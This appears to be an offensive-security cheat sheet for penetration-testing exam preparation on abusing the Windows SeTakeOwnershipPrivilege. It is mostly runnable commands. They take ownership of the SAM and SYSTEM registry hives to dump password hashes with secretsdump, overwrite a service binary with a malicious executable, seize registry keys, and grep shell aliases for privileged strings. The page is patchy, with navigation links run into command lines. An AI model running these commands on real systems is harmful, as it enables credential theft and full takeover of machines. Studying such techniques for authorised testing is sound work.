SeTakeOwnershipPrivilege
Ctrl+F:
SeTakeOwnershipPrivilege·takeown·icacls· SAM
Why: Take ownership of any securable object (files, registry keys, services) even when DACLs deny you — then grant yourself Full control and read/replace protected files.
whoami /priv
REM SeTakeOwnershipPrivilege Enabled→ Windows Privileges - OSCP Priority Hub · icacls
📌 Read SAM / SYSTEM (local hash dump)
takeown /f C:\Windows\System32\config\SAM
icacls C:\Windows\System32\config\SAM /grant %username%:F
copy C:\Windows\System32\config\SAM C:\Temp\SAM
takeown /f C:\Windows\System32\config\SYSTEM
icacls C:\Windows\System32\config\SYSTEM /grant %username%:F
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEMExfil → secretsdump / impacket-secretsdump -sam SAM -system SYSTEM LOCAL
📌 Replace service binary
takeown /f "C:\Program Files\VulnApp\service.exe"
icacls "C:\Program Files\VulnApp\service.exe" /grant %username%:F
copy C:\Temp\evil.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnService
sc start VulnService→ Windows PrivEsc > 📌 2) Service Exploits
📌 Registry keys
takeown /f HKLM\SOFTWARE\SomeKey /a
# Or PowerShell Set-Acl after ownership📌 vs SeBackup
| Privilege | Method |
|---|---|
| SeBackup | Read without ownership change — SeBackupPrivilege (preferred for SAM) |
| SeTakeOwnership | takeown + icacls when backup priv missing |
📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration